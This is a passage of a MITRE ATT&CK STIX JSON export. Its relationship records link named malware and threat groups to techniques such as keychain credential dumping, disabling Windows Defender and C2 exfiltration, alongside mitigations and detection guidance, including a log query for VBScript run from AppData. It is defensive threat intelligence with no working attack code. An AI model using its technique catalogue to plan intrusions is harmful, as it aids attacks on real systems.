"attack-pattern--f005e783-57d4-4837-88ad-dbe7faee1c51", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--86f8bebc-a5fc-43d7-9af0-0024e07ca8d1", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html", "description": "Mercer, W., Rascagneres, P. (2018, January 16). Korea In The Crosshairs. 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(2022, January 25). Watering hole deploys new macOS malware, DazzleSpy, in Asia. Retrieved May 6, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[MacMa](https://attack.mitre.org/software/S1016) can dump credentials from the macOS keychain.(Citation: ESET DazzleSpy Jan 2022)", "modified": "2022-06-09T15:01:59.887Z", "relationship_type": "uses", "source_ref": "malware--bdee9574-7479-4073-a7dc-e86d8acd073a", "target_ref": "attack-pattern--1eaebf46-e361-4437-bc23-d5d65a3b92e3", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--86fe5a45-f9b8-4606-ba91-344e55d69173", "type": "relationship", "created": "2019-04-17T18:43:36.378Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Check Point Research. (2019, February 4). SpeakUp: A New Undetected Backdoor Linux Trojan. Retrieved April 17, 2019.", "url": "https://research.checkpoint.com/speakup-a-new-undetected-backdoor-linux-trojan/", "source_name": "CheckPoint SpeakUp Feb 2019"}], "modified": "2019-04-22T20:29:31.396Z", "description": "[SpeakUp](https://attack.mitre.org/software/S0374) deletes files to remove evidence on the machine. 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Retrieved September 22, 2021."}], "modified": "2021-10-15T15:03:46.074Z", "description": "[MarkiRAT](https://attack.mitre.org/software/S0652) can exfiltrate locally stored data via its C2.(Citation: Kaspersky Ferocious Kitten Jun 2021)", "relationship_type": "uses", "source_ref": "malware--532c6004-b1e8-415b-9516-f7c14ba783b1", "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--870c08fa-6112-4d08-9b84-59df09f27b4d", "type": "relationship", "created": "2020-05-19T21:26:54.399Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET LoudMiner June 2019", "url": "https://www.welivesecurity.com/2019/06/20/loudminer-mining-cracked-vst-software/", "description": "Malik, M. (2019, June 20). LoudMiner: Cross-platform mining in cracked VST software. Retrieved May 18, 2020."}], "modified": "2020-06-23T00:48:35.425Z", "description": "[LoudMiner](https://attack.mitre.org/software/S0451) is typically bundled with pirated copies of Virtual Studio Technology (VST) for Windows and macOS.(Citation: ESET LoudMiner June 2019)", "relationship_type": "uses", "source_ref": "malware--f99f3dcc-683f-4936-8791-075ac5e58f10", "target_ref": "attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--870cebf9-bf09-451c-a894-cad79936bb67", "type": "relationship", "created": "2021-09-29T22:24:15.751Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CISA AA20-239A BeagleBoyz August 2020", "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-239a", "description": "DHS/CISA. (2020, August 26). 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Retrieved September 29, 2021."}], "modified": "2021-09-29T22:24:15.751Z", "description": "[APT38](https://attack.mitre.org/groups/G0082) has attempted to get detailed information about a compromised host, including the operating system, version, patches, hotfixes, and service packs.(Citation: CISA AA20-239A BeagleBoyz August 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--87146c3d-f6f3-4800-b74c-50e1b1cbfa9f", "type": "relationship", "created": "2020-02-20T15:31:43.917Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-02-20T15:31:43.917Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--38eb0c22-6caf-46ce-8869-5964bd735858", "target_ref": "attack-pattern--c675646d-e204-4aa8-978d-e3d6d65885c4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--87182fef-ddbc-466e-b55b-989f10592d0c", "type": "relationship", "created": "2020-12-30T16:39:34.487Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cybereason Egregor Nov 2020", "url": "https://www.cybereason.com/blog/cybereason-vs-egregor-ransomware", "description": "Rochberger, L. (2020, November 26). Cybereason vs. Egregor Ransomware. Retrieved December 30, 2020."}, {"source_name": "Intrinsec Egregor Nov 2020", "url": "https://www.intrinsec.com/egregor-prolock/?cn-reloaded=1", "description": "Bichet, J. (2020, November 12). Egregor \u2013 Prolock: Fraternal Twins ?. Retrieved January 6, 2021."}], "modified": "2021-01-06T22:00:01.177Z", "description": "[Egregor](https://attack.mitre.org/software/S0554) has the ability to download files from its C2 server.(Citation: Cybereason Egregor Nov 2020)(Citation: Intrinsec Egregor Nov 2020)", "relationship_type": "uses", "source_ref": "malware--cc4c1287-9c86-4447-810c-744f3880ec37", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--871cce82-c9fe-47e3-bd03-94a29a295f90", "type": "relationship", "created": "2020-02-20T18:39:33.165Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://technet.microsoft.com/en-us/library/dn408187.aspx", "description": "Microsoft. (2013, July 31). Configuring Additional LSA Protection. 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Retrieved January 5, 2022."}], "modified": "2022-01-06T19:47:22.700Z", "description": "[KONNI](https://attack.mitre.org/software/S0356) can download files and execute them on the victim\u2019s machine.(Citation: Talos Konni May 2017)(Citation: Malwarebytes Konni Aug 2021) ", "relationship_type": "uses", "source_ref": "malware--86b92f6c-9c05-4c51-b361-4c7bb13e21a1", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--87231371-e005-44ab-9b66-1954615f2a7e", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2018-10-17T00:14:20.652Z", "relationship_type": "revoked-by", "source_ref": "malware--310f437b-29e7-4844-848c-7220868d074a", "target_ref": "malware--b42378e0-f147-496f-992a-26a49705395b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--87276474-6fe9-455f-b3fd-8e79599f8014", "type": "relationship", "created": "2022-03-30T14:26:51.874Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.874Z", "description": "Monitor system logs to review instance activities occurring across all cloud environments and regions.", "source_ref": "x-mitre-data-component--b5b0e8ae-7436-4951-950a-7b83c4dd3f2c", "target_ref": "attack-pattern--59bd0dec-f8b2-4b9a-9141-37a1e6899761", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--87282f36-42f5-4eb1-9fec-778bc0f846b7", "created": "2020-05-26T21:02:38.494Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "TrendMicro Netwalker May 2020", "description": "Victor, K.. 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Retrieved January 24, 2022."}], "modified": "2022-01-24T17:00:32.591Z", "description": "[CharmPower](https://attack.mitre.org/software/S0674) can use PowerShell for payload execution and C2 communication.(Citation: Check Point APT35 CharmPower January 2022)", "relationship_type": "uses", "source_ref": "malware--7acb15b6-fe2c-4319-b136-6ab36ff0b2d4", "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--872ba9c6-8e0d-48af-864b-de83b906baf1", "created": "2020-10-19T23:49:08.631Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "Cisco Securing SNMP", "url": "https://www.cisco.com/c/en/us/support/docs/ip/simple-network-management-protocol-snmp/20370-snmpsecurity-20370.html", "description": "Cisco. (2006, May 10). Securing Simple Network Management Protocol. Retrieved October 19, 2020."}], "x_mitre_deprecated": false, "revoked": false, "description": "Allowlist MIB objects and implement SNMP views.(Citation: Cisco Securing SNMP)", "modified": "2022-04-19T21:33:51.724Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "mitigates", "source_ref": "course-of-action--b5dbb4c5-b0b1-40b1-80b6-e9e84ab90067", "target_ref": "attack-pattern--0ad7bc5c-235a-4048-944b-3b286676cb74", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--872c6f1b-aa4f-4d43-b35d-c4216d2f4559", "type": "relationship", "created": "2019-03-11T17:18:27.756Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://github.com/PowerShellEmpire/Empire", "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). 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Retrieved July 20, 2020."}], "modified": "2020-07-30T18:52:23.886Z", "description": "[PROMETHIUM](https://attack.mitre.org/groups/G0056) has created new services and modified existing services for persistence.(Citation: Bitdefender StrongPity June 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--efed95ba-d7e8-47ff-8c53-99c42426ee7c", "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--875b8782-2c5c-4ff8-8310-995d36fabeb2", "created": "2022-03-30T14:26:51.875Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-28T15:24:18.883Z", "description": "Monitor for any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent. \n\nNote: Be aware of VBScript execution from temporary or unusual file locations, which may indicate malicious activity.\n\nAnalytic 1 - Script Execution from Temporary Locations \n\n<code> (source=WinEventLog:\"*Microsoft-Windows-PowerShell/Operational\" EventID=\"4103\") | WHERE CommandLine LIKE \"*AppData*.vbs*\" OR CommandLine LIKE \"*AppData*.vbe*\" OR CommandLine LIKE \"*AppData*.vba*\" </code>\n", "relationship_type": "detects", "source_ref": "x-mitre-data-component--9f387817-df83-432a-b56b-a8fb7f71eedd", "target_ref": "attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--875c4506-3c41-4b4d-bdc9-aa66614cfa55", "type": "relationship", "created": "2019-01-30T14:11:44.218Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Anthony, N., Pascual, C.. (2018, November 1). Trickbot Shows Off New Trick: Password Grabber Module. Retrieved November 16, 2018.", "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/trickbot-shows-off-new-trick-password-grabber-module/", "source_name": "Trend Micro Trickbot Nov 2018"}], "modified": "2019-06-24T19:15:06.706Z", "description": "[TrickBot](https://attack.mitre.org/software/S0266) can disable Windows Defender.(Citation: Trend Micro Trickbot Nov 2018)", "relationship_type": "uses", "source_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556", "target_ref": "attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--875ed563-004f-4541-99e4-21a556e5400c", "created": "2022-04-19T03:08:44.565Z", "x_mitre_version": "0.1", "x_mitre_deprecated": false, "revoked": false, "description": "Enforce registration and execution of only legitimately signed service drivers where possible.", "modified": "2022-04-19T03:08:44.565Z", "relationship_type": "mitigates", "source_ref": "course-of-action--590777b3-b475-4c7c-aaf8-f4a73b140312", "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--875eff48-2319-4e86-b3cf-0f17d6253b9c", "type": "relationship", "created": "2021-07-20T02:46:20.716Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "win10_asr", "url": "https://docs.microsoft.com/microsoft-365/security/defender-endpoint/attack-surface-reduction", "description": "Microsoft. (2021, July 2). Use attack surface reduction rules to prevent malware infection. Retrieved June 24, 2021."}], "modified": "2022-03-07T19:43:49.895Z", "description": "On Windows 10, enable Attack Surface Reduction (ASR) rules to prevent [Visual Basic](https://attack.mitre.org/techniques/T1059/005) scripts from executing potentially malicious downloaded content (Citation: win10_asr).", "relationship_type": "mitigates", "source_ref": "course-of-action--90f39ee1-d5a3-4aaa-9f28-3b42815b0d46", "target_ref": "attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--87630bba-4308-46f2-9601-7d30795a2eb6", "created": "2023-03-24T21:29:58.467Z", "revoked": false, "external_references": [{"source_name": "ESET Dukes October 2019", "description": "Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020.", "url": "https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-24T21:29:58.467Z", "description": "[RegDuke](https://attack.mitre.org/software/S0511) can create seemingly legitimate Registry key to store its encryption key.(Citation: ESET Dukes October 2019)", "relationship_type": "uses", "source_ref": "malware--47124daf-44be-4530-9c63-038bc64318dd", "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--8763c8dd-cd68-4402-be43-4dbd96c83c2d", "type": "relationship", "created": "2020-06-29T15:17:53.832Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 BackConfig May 2020", "url": "https://unit42.paloaltonetworks.com/updated-backconfig-malware-targeting-government-and-military-organizations/", "description": "Hinchliffe, A. and Falcone, R. (2020, May 11). Updated BackConfig Malware Targeting Government and Military Organizations in South Asia. Retrieved June 17, 2020."}], "modified": "2020-06-29T15:17:53.832Z", "description": "[BackConfig](https://attack.mitre.org/software/S0475) has the ability to gather the victim's computer name.(Citation: Unit 42 BackConfig May 2020)", "relationship_type": "uses", "source_ref": "malware--c13d9621-aca7-436b-ab3d-3a95badb3d00", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--87648492-36d0-4f94-b318-17280b101678", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "McAfee Bankshot", "description": "Sherstobitoff, R. (2018, March 08). Hidden Cobra Targets Turkish Financial Sector With New Bankshot Implant. Retrieved May 18, 2018.", "url": "https://securingtomorrow.mcafee.com/mcafee-labs/hidden-cobra-targets-turkish-financial-sector-new-bankshot-implant/"}], "modified": "2020-02-18T03:40:29.867Z", "description": "[Bankshot](https://attack.mitre.org/software/S0239) recursively generates a list of files within a directory and sends them back to the control server.(Citation: McAfee Bankshot)", "relationship_type": "uses", "source_ref": "malware--1f6e3702-7ca1-4582-b2e7-4591297d05a8", "target_ref": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--8765dd7e-33cc-4040-927d-bf0aa16d3d79", "type": "relationship", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Symantec Buckeye", "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.", "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong"}], "modified": "2020-03-18T20:19:35.791Z", "description": "[OSInfo](https://attack.mitre.org/software/S0165) performs a connection test to discover remote systems in the network(Citation: Symantec Buckeye)", "relationship_type": "uses", "source_ref": "malware--f6d1d2cb-12f5-4221-9636-44606ea1f3f8", "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--87661f05-f448-49be-afa8-d8198a1c0092", "type": "relationship", "created": "2021-02-03T18:26:21.905Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "DOJ Iran Indictments March 2018", "url": "https://www.justice.gov/usao-sdny/press-release/file/1045781/download", "description": "DOJ. (2018, March 23). U.S. v. Rafatnejad et al . Retrieved February 3, 2021."}], "modified": "2021-04-21T02:25:51.085Z", "description": "[Silent Librarian](https://attack.mitre.org/groups/G0122) has collected e-mail addresses from targeted organizations from open Internet searches.(Citation: DOJ Iran Indictments March 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--90784c1e-4aba-40eb-9adf-7556235e6384", "target_ref": "attack-pattern--69f897fd-12a9-4c89-ad6a-46d2f3c38262", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--8767be49-dbb2-493f-82b7-cc0053f02c8e", "type": "relationship", "created": "2020-03-11T14:13:43.009Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-07-07T12:42:39.292Z", "description": "A patch management process should be implemented to check unused dependencies, unmaintained and/or previously vulnerable dependencies, unnecessary features, components, files, and documentation.", "relationship_type": "mitigates", "source_ref": "course-of-action--e5d930e9-775a-40ad-9bdb-b941d8dfe86b", "target_ref": "attack-pattern--191cc6af-1bb2-4344-ab5f-28e496638720", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--8769bb08-b5e3-4264-95ac-6164bdbd54f3", "type": "relationship", "created": "2020-11-25T21:00:55.904Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "US District Court Indictment GRU Unit 74455 October 2020", "url": "https://www.justice.gov/opa/press-release/file/1328521/download", "description": "Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020."}], "modified": "2020-11-25T21:00:55.904Z", "description": "[Sandworm Team](https://attack.mitre.org/groups/G0034) has tricked unwitting recipients into clicking on malicious hyperlinks within emails crafted to resemble trustworthy senders.(Citation: US District Court Indictment GRU Unit 74455 October 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192", "target_ref": "attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--876a57e9-4a60-4863-a1b7-c1dad9903971", "type": "relationship", "created": "2021-06-30T17:12:55.028Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cybereason Chaes Nov 2020", "url": "https://www.cybereason.com/hubfs/dam/collateral/reports/11-2020-Chaes-e-commerce-malware-research.pdf", "description": "Salem, E. (2020, November 17). CHAES: Novel Malware Targeting Latin American E-Commerce. Retrieved June 30, 2021."}], "modified": "2021-08-20T20:17:35.585Z", "description": "[Chaes](https://attack.mitre.org/software/S0631) has used Python scripts for execution and the installation of additional files.(Citation: Cybereason Chaes Nov 2020) ", "relationship_type": "uses", "source_ref": "malware--77e0ecf7-ca91-4c06-8012-8e728986a87a", "target_ref": "attack-pattern--cc3502b5-30cc-4473-ad48-42d51a6ef6d1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--876be539-dc82-4714-b66a-93109a63822e", "type": "relationship", "created": "2022-03-30T14:26:51.850Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.850Z", "description": "Monitor for changes made to files that may attempt to hide artifacts associated with their behaviors to evade detection.", "source_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", "target_ref": "attack-pattern--22905430-4901-4c2a-84f6-98243cb173f8", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--876deeac-5c87-4d3d-b6a5-68512b9fb6d1", "type": "relationship", "created": "2022-03-30T14:26:51.833Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.833Z", "description": "Monitor for network traffic originating from unknown/unexpected hardware devices. Local network traffic metadata (such as source MAC addressing) as well as usage of network management protocols such as DHCP may be helpful in identifying hardware.", "source_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", "target_ref": "attack-pattern--035bb001-ab69-4a0b-9f6c-2de8b09e1b9d", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--87700efb-fbfa-44c9-a799-d1a557d05645", "created": "2024-02-09T19:41:49.722Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Mandiant Pulse Secure Zero-Day April 2021", "description": "Perez, D. et al. (2021, April 20). Check Your Pulse: Suspected APT Actors Leverage Authentication Bypass Techniques and Pulse Secure Zero-Day. Retrieved February 5, 2024.", "url": "https://www.mandiant.com/resources/blog/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-04-17T16:21:58.916Z", "description": "[SLIGHTPULSE](https://attack.mitre.org/software/S1110) has the ability to process HTTP GET requests as a normal web server and to insert logic that will read or write files or execute commands in response to HTTP POST requests.(Citation: Mandiant Pulse Secure Zero-Day April 2021)", "relationship_type": "uses", "source_ref": "malware--d1008b78-960c-4b36-bdc4-39a734e1e4e3", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--877a67b0-5dea-467c-9da1-8eee3bcc19a6", "type": "relationship", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://blogs.technet.microsoft.com/mmpc/2016/12/14/twin-zero-day-attacks-promethium-and-neodymium-target-individuals-in-europe/", "description": "Microsoft. (2016, December 14). Twin zero-day attacks: PROMETHIUM and NEODYMIUM target individuals in Europe. Retrieved November 27, 2017.", "source_name": "Microsoft NEODYMIUM Dec 2016"}, {"source_name": "Microsoft SIR Vol 21", "description": "Anthe, C. et al. (2016, December 14). Microsoft Security Intelligence Report Volume 21. Retrieved November 27, 2017.", "url": "http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft_Security_Intelligence_Report_Volume_21_English.pdf"}], "modified": "2019-03-25T14:31:40.994Z", "description": "(Citation: Microsoft NEODYMIUM Dec 2016)(Citation: Microsoft SIR Vol 21)", "relationship_type": "uses", "source_ref": "intrusion-set--025bdaa9-897d-4bad-afa6-013ba5734653", "target_ref": "malware--a8d3d497-2da9-4797-8e0b-ed176be08654", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--87834403-41ab-45ab-b755-d779402ac9e5", "type": "relationship", "created": "2022-03-30T14:26:51.856Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.856Z", "description": "Monitor for contextual data about a service/daemon, which may include information such as name, service executable, start type, etc.", "source_ref": "x-mitre-data-component--74fa567d-bc90-425c-8a41-3c703abb221c", "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--8785b9f9-52dd-4bf5-8e88-b80c4c28dc7f", "type": "relationship", "created": "2021-02-03T19:05:17.898Z", 